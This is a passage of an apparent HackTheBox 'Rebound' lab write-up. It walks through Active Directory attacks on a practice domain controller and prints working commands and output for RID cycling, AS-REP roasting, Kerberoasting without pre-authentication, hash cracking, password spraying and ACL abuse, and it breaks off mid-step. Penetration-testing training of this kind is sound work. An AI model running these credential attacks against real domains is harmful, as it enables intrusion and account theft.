Post

Rebound - HackTheBox (Insane)

Summary

Rebound from HackTheBox was an insane rated Windows box that was an absolute beast of an AD box. It involves rid cycling, Kerberoasting without pre-authentication, remote ACL enumeration over OUs, enabling inheritance, adding shadow credentials, a cross-session relay attack, reading gMSA passwords and exploiting Kerberos Constrained Delegation without Protocol Transition. The beauty of this box is the uncommon twists it showcases on standard AD attacks like ASREP roasting and constrained delegation, as well as realistic hardening measures like enforcing ‘account is sensitive and cannot be delegated’ and LDAP signing and channel binding enforced meaning using tooling was much harder. The twists force a deeper understanding of the exploits and tools behind them, with focus on manual enumeration with many worthwhile tricks learnt for real engagements.

Initial recon

Port scanning

Running an nmap scan with default scripts -sC and versioning -sV shows us this box represents a domain controller, dc01.rebound.htb, due to ports 53 (DNS) , 88 (Kerberos) and 389,636,3268,3269 (LDAP/LDAPS) being open.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sCV -p- 10.129.109.108 -T4 --min-rate 1000    
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-09 22:11 BST
Warning: 10.129.109.108 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.129.109.108
Host is up (0.11s latency).
Not shown: 65376 closed tcp ports (conn-refused), 134 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after:  2024-08-24T22:48:10
|_ssl-date: 2023-09-10T04:14:12+00:00; +7h00m06s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-10T04:14:13+00:00; +7h00m06s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after:  2024-08-24T22:48:10
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after:  2024-08-24T22:48:10
|_ssl-date: 2023-09-10T04:14:12+00:00; +7h00m06s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-10T04:14:13+00:00; +7h00m06s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after:  2024-08-24T22:48:10
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
49698/tcp open  msrpc         Microsoft Windows RPC
49715/tcp open  msrpc         Microsoft Windows RPC
56425/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m05s, deviation: 0s, median: 7h00m05s
| smb2-time: 
|   date: 2023-09-10T04:14:05
|_  start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.21 seconds

With DNS info from the scan, we can updating our /etc/hosts entry for local DNS resolution over the VPN.

1
10.129.109.108 rebound.htb dc01.rebound.htb

Guest access to SMB

One of the first things I like to try is if we have guest / unauthenticated access to any network shares over SMB. We can easily check this with crackmapexec:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec smb 10.129.109.108 -u kali -p '' --shares
SMB         rebound.htb     445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         rebound.htb     445    DC01             [+] rebound.htb\kali: 
SMB         rebound.htb     445    DC01             [*] Enumerated shares
SMB         rebound.htb     445    DC01             Share           Permissions     Remark
SMB         rebound.htb     445    DC01             -----           -----------     ------
SMB         rebound.htb     445    DC01             ADMIN$                          Remote Admin
SMB         rebound.htb     445    DC01             C$                              Default share
SMB         rebound.htb     445    DC01             IPC$            READ            Remote IPC
SMB         rebound.htb     445    DC01             NETLOGON                        Logon server share 
SMB         rebound.htb     445    DC01             Shared          READ            
SMB         rebound.htb     445    DC01             SYSVOL                          Logon server share 

image.png

We see there is a non-standard share Shared however, it seems empty.

image-1.png

RID brute forcing to enumerate users

Despite this, one neat trick to know is if we have unauthenticated READ access to IPC$ we can actually query it for a ton of information, specifically all usernames through RID cycling as outlined here. RID cycling involves first looking up the domain SID.

image-53.png

Then performing brute-force lookups for all possible user SIDs, from 500 to 10000, which will resolve all domain users like so:

1
2
3
4
S-1-5-21-4078382237-1492182817-2568127209-500    (Administrator)
S-1-5-21-4078382237-1492182817-2568127209-501
S-1-5-21-4078382237-1492182817-2568127209-502
...

We can perform this easily with either crackmapexec or impacket-lookupsid, specifying 10000 to cycle through all possible user and group SIDs.

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec smb rebound.htb -u anonymous -p "" --rid-brute 10000 
└─$ impacket-lookupsid rebound.htb/anon@rebound.htb 10000

image-29.png

This gives us output with all groups and users. We can filter this down to a nice list of only users to store in users.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ crackmapexec smb rebound.htb -u anonymous -p "" --rid-brute 10000 | awk -F ": " '/\(SidTypeUser\)/ {gsub(/rebound\\/, "", $2); sub(/ \(SidTypeUser\)/, "", $2); print $2}' > users.txt
Administrator
Guest
krbtgt
DC01$
ppaul
llune
fflock
jjones
mmalone
nnoon
ldap_monitor
oorend
winrm_svc
batch_runner
tbrady
delegator$ 

image-30.png

First User

ASREP roasting

We can then use ropnop’s Kerbrute tool to enumerate which of these are valid usernames through Kerberos Pre-Authentication, as well as check if any are AS-REP roastable. This just means a user can skip the Kerberos Pre-Authentication process of needing to present a timestamp encrypted with the user’s hashed password to validate that user is authorized to request the TGTand simply retrieve an encrypted TGT for the user in an AS-REP message without knowing the user’s password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~/Desktop]
└─$ kerbrute userenum -d rebound.htb --dc 10.129.109.138 user.txt                                                                 
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
Version: dev (9cfb81e) - 09/10/23 - Ronnie Flathers @ropnop
2023/09/10 17:04:28 >  Using KDC(s):
2023/09/10 17:04:28 >   10.129.109.138:88
2023/09/10 17:04:28 >  [+] VALID USERNAME:       ppaul@rebound.htb
2023/09/10 17:04:28 >  [+] VALID USERNAME:       winrm_svc@rebound.htb
2023/09/10 17:04:28 >  [+] VALID USERNAME:       ldap_monitor@rebound.htb
2023/09/10 17:04:28 >  [+] VALID USERNAME:       oorend@rebound.htb
2023/09/10 17:04:28 >  [+] VALID USERNAME:       nnoon@rebound.htb
2023/09/10 17:04:28 >  [+] VALID USERNAME:       llune@rebound.htb
2023/09/10 17:04:28 >  [+] VALID USERNAME:       batch_runner@rebound.htb
2023/09/10 17:04:28 >  [+] VALID USERNAME:       tbrady@rebound.htb
2023/09/10 17:04:28 >  [+] VALID USERNAME:       delegator$@rebound.htb
2023/09/10 17:04:28 >  [+] jjones has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$jjones@REBOUND.HTB:fe58524b93c13ea18a5738df5d34c268$5fc4b699e508bf58bb0332d4869ad40f30c5c971883c57c49ae8b520c26b02193d50b26028ab0a55dcfffd57f6d6fedde33bbc5ef62dc19a21709e12b530da21b244e7bc0f6d3cf0dffd6f2761b365f4de918f782ad71f368c1203d4b4abfb93cef5683f151e9df013ff168ce6146a42d8174682329ab1458a09beee37effb577cb1edb7319f238d83a9d8be10e5557bb1ee7991c6601b43fefa4b4e6e3a3c31e8a63630822c4f9aadc477ecac96b8907326375ca5ebdc8b46bb5be8bf43284d347c4178d18bb35b88bfd27c40e8ffe404279f2167c88b0090c16ae2b19c9d0b31fbee11feab21e2cef5ac51586f2984fb547b8e9a20059f8a85d82fc433
2023/09/10 17:04:28 >  [+] VALID USERNAME:       jjones@rebound.htb
2023/09/10 17:04:28 >  Done! Tested 12 usernames (10 valid) in 0.348 seconds

image-2.png

Kerbrute confirms all of our domain accounts are valid, and interestingly that jjoness does not require pre-authentication, presenting the hash from the encrypted TGT nicely.

Unable to crack the hash

However trying to crack the hash rockyou.txt is exhausted, which for HTB machines means it is not crackable.

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Desktop]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:11 DONE (2023-09-10 17:05) 0g/s 1236Kp/s 1236Kc/s 1236KC/s  0841079575..*7¡Vamos!
Session completed. 

image-3.png

So we can’t crack the hash, but surely this wouldn’t be a rabbit hole?

Kerberoasting without creds and pre-authentication

In turns out encrypted TGTs obtained through ASREP roasting can actually be used for Kerberoasting without having to control any Active Directory account - ref here and here. Kerberoasting is similar to AS-REP roasting but involves requesting a TGS for any service with an SPN set (possible by default by any domain user), then cracking the part of the TGS response encrypted with the service account password hash. User accounts often set bad passwords, so this could give us our first set of credentials.

This is interesting as we can’t normally use the resulting TGT from ASREP roasting since the TGT session key (user password hash) is required to decrypt the TGT. However, interestingly for Kerberoasting, access to the session key is not required, only the encrypted TGT is. Therefore, if any account is configured to not require pre-authentication it is possible to Kerberoast without any credentials!

Installing a virtual environment

Impacket has been modified to support this in this pull request with the no-preauth added for impacket-GetUserSPNs, however it has not been merged into the master branch yet. Lets set up a python virtual environment (venv) as to not break our current impacket install when we install this fork.

1
2
3
4
5
6
7
apt install python3-venv 
python3 -m venv impacketEnv 
source impacketEnv/bin/activate 
git clone --branch getuserspns-nopreauth https://github.com/ShutdownRepo/impacket/ /tmp/impacket
cd /tmp/impacket
pip3 install . 
python3 setup.py install

Then running impacket-GetUserSPNs to Kerberoast remotely without credentials works, retrieving SPNs from both ldap_monitor and delegator$!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(impacketEnv)(kali㉿kali)-[/tmp/impacket]
└─$ python3 examples/GetUserSPNs.py -no-preauth jjones -usersfile ~/Desktop/user.txt -dc-host 10.129.109.138 rebound.htb/
Impacket v0.12.0.dev1+20230907.33311.3f645107 - Copyright 2023 Fortra
[-] Principal: ppaul - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: llune - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: jjones - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: mmalone - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: nnoon - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$73e0e88c0255894be1e186a1c61e79b2$0e9eb758dd00c62d65d9c69d3484c54d1660e53c29b04e2b6cb3fb0aea8bfa8d3ca522af2b4d466b654b57190d0f58a1df360436cfa4045155ac36c4b5e7161988ba661f401aa573ae4ecc6b9fb110216521e7926b9bc29492ea358368b3b96158ac5730c0b0241b76a56f355e71ce9b1cee3d0766f52de0fc756feb7c16ea981e936e832af35e8b78bd7933cd08944f0bc72dfb4241d8588f9a76dafc19388489e2e30b17799157a5a5d21f7917259e4cd63f7ab45ecaf111713cc5e2dc11a719c7305b0f76e73bc780a26e85d751def8721bc528c3371c7ea2d451f0ab982b2b2566e4ef454fefe099f253601358f45f121343fc2991546789496e52a648716ae07d953a0a4ab6be216d8f6a5f9137d3542bd9173fd5ce5c2e5e097b0c6a0d58508f619d0c201c9fadfd6353905ba1fd9c88e252f0bb76025b469a92d2c942b1f7c72d6af396dd48b9bd274693202b1dcc3394ab2821b70270a09117645cfc87e0cfe1d0c1167ea22bc6f85e4e731e4044ffef67276e5bb7d46d4a2cc10b38578dc8877dce2aa1c123df52c7bc1f687b87aa1a67a4470e8eb966856115298548b58c1bb6129190c59511ae850df46f9a27e735574f0bbb38d955dd4ca38a0bd81e77c4e16b7dd3746bb33df6f668ec926c6f2ce5ff2a583bf5e17148f8101244618ee401560939e0c9540879a64ea3acc5f88fd08f9aff3e793b862f54e8114b26fe86fbeb1395ee6f6f98a28b54997817922176f126d52d8702f07cc09a3869dcd05fb8141e959427f7a308f39ffddfb56c501238ca2c894cbcbe743462ecbd2560a98b91d0a7f61821b445c632e9394005a2d307354340e9be4b0df78858c8c1bc46a7cac82c2b3d1ef23f7a0730e92cf7985252d4284f0af2241707645a245badd687a4d42ef1272c77e7a33c7980b46b25367851a3ab44ad81aa7699270b5f805f4a73e265ef8a32b6e1fdbdda5aacc8c13fdfa72926cf3eb7f4b46cd4f0012581df50bf5698a6011576434d97163fa25e6c1e17289d3c558ea4b9ab400b2cc2588837df70b67558acf73aa81f25718e747ecf6ca18721710e7f27a9faa13a90a8b466939c2151fb93271ef521e80bdac6dddaece2aa183061d7a6a7db298720e17fd901d95929207e60b95c238dcf41c800ca4296601d4349e68ff9e4532d53a0780b8684c100d0c46ef69115d8a62bdf713123a559761ce13f3bab6ba61420c551e9f6c480f9b598a43749312de922c5ee44b89b88f69e9b9b2da9f21816ae7c5f604f72c7a78b9634eea287b3816dd056341f5b5283808cbf0caa584b422b7bc2af9cdcf2c13b50dcc91fc04a8749ebfbdce08baad5609bb3d91d763235
[-] Principal: oorend - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: ServiceMgmt - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: winrm_svc - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: batch_runner - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: tbrady - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$delegator$$REBOUND.HTB$*delegator$*$6662303b277ab453488d1948$16da31c114b357cbcebd446dde95f8f2ec1c6ff521fe356ad29b7fc11bf7ed056415567fd2c33874b5a4e3c1415c8491973694d2a7cf0e8c0bbb9edf8fafcc4fa7736fd3c4787bc6d37d3b0bebc195a21b727598c7996f2ad944f0fbbad262545671d97d77fcecf33306fb4a35eff40cd3d6b4fc2cdfd5b44f4dbb24c6252e684a88d80c672fc0be17444b57da4f2b93161219c027c4a4bb319b43f13565530eacebb612a08f9e514770ce23cc6777beb1988064965b1bb923b2f22e8515ddab58ddaec010f4270af8fc198b2e947be376f9a96eeab8bb11ab828fdc947724478c7be1f04c44748c1d1f014cdb0c7a01b23defbf3ec1fbe59cdfc70a811daa585fb4c4b698b10f062fb1d35246fddf14bd68f083eb6588f158efaf2146bc3f68b49f6bc58eade3a92dfb37c55ba5c327fbcdec579fde084eeb03863e6e01b8df9d847327090e13da5eb7a53c419eba612e565c4f692b813f97332ecbf1142f3d92a95e3cc17a3e97bc431c6879cfd0a3ce86434e9e294fe6d2fd3fa9d02d2177af24c98744426f65aae8446f58cd6a4c861676f4fb7611ca1ae09cdd0cfcac40633ececa61aea635ca324b853875c517d49abae445a2683ba94fc55e8aff5387dc9b62fa79b949b476d5b5283fe0614ba209f514f34c28628e63d28881f02a85416c08aaa457d05518e005556821a78f77983e22364b4693bb9eb966eb01170dcde657d4c37d484eb9724ac2e0dd599b1a2525da5d697084c111b0fb325eefeda62b68616b787f75f927b0b8562788d78580aa90eedcc5122d8ea651cbb976aa0e7fbf5606d935626339de6cf5ce6e05b4260cad1c5fdadfd287b087240b30c3d3fdcc3e7002e9fbbd6487533cb72278613d25189963f4ef8329f654a6051de012b630b6bcecec0b5502d2e777abb4140919d45708fa295ca35416901ce2671fb4892a759c602b8376e60a9c51f08167d6b86ad4403034720bd348220ada6575bdc7819b2269f2fcf7c8199cf5736ca6d784fce9df177a95010d7d074ef79a62d8d09a091eb18db420e05236b2148ca10ea84fcbf865d10fc5a8a3d48336527141e3cf173731ea066c71ca4c17345ac8d7a8ee868493039c7d62280a32a739eab034c750dbda3b3a23f80827a9be0cb6d1cc88a583a10b3ee1451604f453f3f88f5c1f0ca90b780870f243c005318b164430fff49f6d48de92e25d1f373bd2bb69a5523d42343365bb58a27ac40e6d000cad4e42a6795a9ea69131b9c38986c325f9a80c56c2c7592c180f6753f27a4ac4a813588f1720e1f3e16ed0c6c870a5aef16497c425689fa87a56bfef61b275ff270ace8c5c479c474ca9a9c20889de85858a9ffc17c4aca907

image-4.png

Cracking the TGS hash

Both delegator$ (machine account) and ldap_monitor had SPNs set so were Kerberoastable, giving us a hash for both. As we will later find out delegator$ is a gMSA account so won’t be crackable as gMSA accounts have 240-byte, non human-readable passwords. This shows both the best and worst way to manage service accounts’ credentials!

Its worth trying to crack ldap_monitor though as it’s a user created service account- this time is cracks!

1
2
3
4
5
6
7
8
9
10
┌──(impacketEnv)(kali㉿kali)-[/tmp/impacket]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt        
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1GR8t@$$4u       (?)     
1g 0:00:00:06 DONE (2023-09-10 18:00) 0.1560g/s 2034Kp/s 2034Kc/s 2034KC/s 1Gobucs!..1DENA
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

image-5.png

This gives us our first keys into the kingdom: ldap_monitor:1GR8t@$$4u.

Second User

Domain recon with credentials

We can test if this credential is valid and also for any sensitive user descriptions with crackmapexec's --users flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(impacketEnv)(kali㉿kali)-[/tmp/impacket]
└─$ crackmapexec smb rebound.htb -u ldap_monitor -p '1GR8t@$$4u' --users  
SMB         rebound.htb     445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         rebound.htb     445    DC01             [+] rebound.htb\ldap_monitor:1GR8t@$$4u 
SMB         rebound.htb     445    DC01             [*] Trying to dump local users with SAMRPC protocol
SMB         rebound.htb     445    DC01             [+] Enumerated domain user(s)
SMB         rebound.htb     445    DC01             rebound.htb\Administrator                  Built-in account for administering the computer/domain
SMB         rebound.htb     445    DC01             rebound.htb\Guest                          Built-in account for guest access to the computer/domain
SMB         rebound.htb     445    DC01             rebound.htb\krbtgt                         Key Distribution Center Service Account
SMB         rebound.htb     445    DC01             rebound.htb\ppaul                          
SMB         rebound.htb     445    DC01             rebound.htb\llune                          
SMB         rebound.htb     445    DC01             rebound.htb\fflock                         
SMB         rebound.htb     445    DC01             rebound.htb\jjones                         
SMB         rebound.htb     445    DC01             rebound.htb\mmalone                        
SMB         rebound.htb     445    DC01             rebound.htb\nnoon                          
SMB         rebound.htb     445    DC01             rebound.htb\ldap_monitor                   
SMB         rebound.htb     445    DC01             rebound.htb\oorend                         
SMB         rebound.htb     445    DC01             rebound.htb\winrm_svc                      
SMB         rebound.htb     445    DC01             rebound.htb\batch_runner                   
SMB         rebound.htb     445    DC01             rebound.htb\tbrady

image-6.png

Nothing is set in the description for any user which is great.

Lets try enumerate the ms-ds-machineaccountquota with crackmapexec to see if the domain has been hardened at all. However, it seems LDAP signing is enforced, meaning all crackmapexec ldap modules don’t work with NTLM authentication and only seem to work with Kerberos authentication (-k module).

1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ crackmapexec ldap rebound.htb -u ldap_monitor -p '1GR8t@$$4u' -M maq       -- wont work

┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ crackmapexec ldap rebound.htb -u ldap_monitor -p '1GR8t@$$4u' -k -M maq    -- works 

image-49.png

Anyhow, we see the MAQ is 0 and knowing LDAP signing is enforced this domain has been significantly hardened so we’re in for a rough time …

Later on when we we parse the Default Domain Controllers Policy we can confirm both LDAP signing and channel binding is enforced. image-26.png

Password spraying

Its very common for password reuse across an AD environment, so lets see if the user that set up the ldap_monitor service account also uses the same password for their personal account!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec smb rebound.htb -u user.txt -p '1GR8t@$$4u' --continue-on-success
SMB         dc01.rebound.htb 445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         dc01.rebound.htb 445    DC01             [-] rebound.htb\ppaul:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         dc01.rebound.htb 445    DC01             [-] rebound.htb\llune:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         dc01.rebound.htb 445    DC01             [-] rebound.htb\jjones:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         dc01.rebound.htb 445    DC01             [-] rebound.htb\mmalone:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         dc01.rebound.htb 445    DC01             [-] rebound.htb\nnoon:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         dc01.rebound.htb 445    DC01             [+] rebound.htb\ldap_monitor:1GR8t@$$4u 
SMB         dc01.rebound.htb 445    DC01             [+] rebound.htb\oorend:1GR8t@$$4u 
SMB         dc01.rebound.htb 445    DC01             [-] rebound.htb\winrm_svc:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         dc01.rebound.htb 445    DC01             [-] rebound.htb\batch_runner:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         dc01.rebound.htb 445    DC01             [-] rebound.htb\tbrady:1GR8t@$$4u STATUS_LOGON_FAILURE 
SMB         dc01.rebound.htb 445    DC01             [-] rebound.htb\delegator$:1GR8t@$$4u STATUS_LOGON_FAILURE

image-7.png

We see this was indeed the case and now have additional credentials: oorend:1GR8t@$$4u

Third User

Enumerating the domain with bloodhound

With these two sets of credentials, it wasn’t really clear where to go next. In these cases I like to use bloodhound to fully enumerate the domain remotely. Nowadays crackmapexec has an awesome integration of bloodhound-python using the --bloodhound flag so we don’t even have to bother using a different tool!

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec ldap rebound.htb -u oorend -p '1GR8t@$$4u' -k --bloodhound -ns 10.10.11.231 -c all
SMB         rebound.htb     445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAPS       rebound.htb     636    DC01             [+] rebound.htb\oorend 
LDAPS       rebound.htb     636    DC01             Resolved collection methods: acl, dcom, objectprops, psremote, group, trusts, rdp, localadmin, container, session
LDAPS       rebound.htb     636    DC01             Using kerberos auth without ccache, getting TGT
LDAP        rebound.htb     389    DC01             Done in 00M 06S
LDAPS       rebound.htb     636    DC01             Compressing output into /home/kali/.cme/logs/DC01_rebound.htb_2023-09-16_212829bloodhound.zip

image-44.png

After the collection has completed we load up the neo4j database and start the bloodhound GUI, then import the zip file our bloodhound-python ingestor produced.

1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo neo4j start

┌──(kali㉿kali)-[~/Desktop]
└─$ bloodhound

From analysing the domain in a graphed format, bloodhound shows us a pretty nice path to obtain user by right clicking DC01 and clicking ‘shortest path to here’. image-45.png

The ServiceMgmt group has GenericAll over OU=Service Users,DC=rebound,DC=htb which contains winrm_svc. Anyone in ServiceMgmt should have the permission to reset the password of winrm_svc to login via WinRM, if the GenericAll privilege is inherited down through the OU.

However, in bloodhound there doesn’t seem to be obvious way to get access to fflock or ppaul (we already tried password reuse) or any special permissions over the ServiceMgmt group.

Using ADUC remotely

I also found it useful to use Active Directory Users and Computers from RSAT remotely on my Windows machine to do the enumeration. We can easily do this with a runas and the credentials we have obtained:

1
2
C:\Windows\System32> runas /netonly /user:REBOUND\oorend "cmd.exe /c \"start C:\Windows\system32\dsa.msc /server=rebound.htb""
Enter the password for REBOUND\oorend: 1GR8t@$$4u

We again see the ServiceMgmt group has GenericAll over OU=Service Users,DC=rebound,DC=htb in ADUC. The OU contains both batch_runner and winrm_svc, but again it seems there are no special permissions over these users.

image-31.png

Enumerating ACEs manually that bloodhound didn’t pick up

So it seems we’ve exhausted bloodhound’s capabilities. Sometimes bloodhound doesn’t pick up some ACEs so manual enumeration is necessary. This is a little tricky finding tools that can do this whilst LDAP signing is enforced, but again crackmapexec comes to the rescue to read DACLs with the read dacl module. We can verify the GenericAll the ServiceMgmt group has over the Service Users OU with crackmapexec like so:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ crackmapexec ldap rebound.htb -u oorend -p '1GR8t@$$4u' -k -M daclread -o TARGET_DN='OU=Service Users,DC=rebound,DC=htb' ACTION=read PRINCIPAL=ServiceMgmt
SMB         rebound.htb     445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAPS       rebound.htb     636    DC01             [+] rebound.htb\oorend 
DACLREAD    rebound.htb     389    DC01             Be carefull, this module cannot read the DACLS recursively.
DACLREAD    rebound.htb     389    DC01             Found principal SID to filter on: S-1-5-21-4078382237-1492182817-2568127209-7683
DACLREAD    rebound.htb     389    DC01             Target principal found in LDAP (OU=Service Users,DC=rebound,DC=htb)
DACLREAD                                            ACE[6] info                
DACLREAD                                                ACE Type                  : ACCESS_ALLOWED_ACE
DACLREAD                                                ACE flags                 : None
DACLREAD                                                Access mask               : FullControl (0xf01ff)
DACLREAD                                                Trustee (SID)             : ServiceMgmt (S-1-5-21-4078382237-1492182817-2568127209-7683)

image-46.png

I then had a thought that maybe ooren (user we have compromised through password reuse) has special ACEs that can get us into the ServiceMgmt group, which from there we can reset winrm_svc password.

We can dump all the DACLs applied to the ServiceMgmt group like so:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Desktop/htb/rebound ] 
└─$ crackmapexec ldap rebound.htb -u oorend -p '1GR8t@$$4u' -k -M daclread -o TARGET=ServiceMgmt ACTION=read
SMB         rebound.htb     445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAPS       rebound.htb     636    DC01             [+] rebound.htb\oorend 
DACLREAD    rebound.htb     389    DC01             Be carefull, this module cannot read the DACLS recursively.
DACLREAD    rebound.htb     389    DC01             Target principal found in LDAP (CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb)
...
DACLREAD                                            ACE[2] info                
DACLREAD                                                ACE Type                  : ACCESS_ALLOWED_ACE
DACLREAD                                                ACE flags                 : None
DACLREAD                                                Access mask               : Self (0x8)
DACLREAD                                                Trustee (SID)             : oorend (S-1-5-21-4078382237-1492182817-2568127209-7682)
...

image-47.png

We see that oorend has the Self permission over the group. This article explains “The Self permission can be abused by an attacker to allow them to add themselves as a member of a group”. We can also confirm in ADUC oorend actually has the right to add themselves to the ServiceMgmt group!

image-32.png

So oorend can just add themselves to the ServiceMgmt group, then will have GenericAll over the Service Users OU and should then be able to reset the password of winrm_svc if the permission is inherited down and login! image-50.png

At the time of writing it doesn’t look like the self permission is part of bloodhound analysis (added in myself through manual enumeration).

Adding oorend to ServiceMgmt

Lets simply add ourselves to the group via ADUC session already spawned as oorend.

image-8.png

Alternatively, we could use bloodyAD to add ourselves to the ServiceMgmt group.

1
2
3
4
5
6
7
8
9
10
11
12
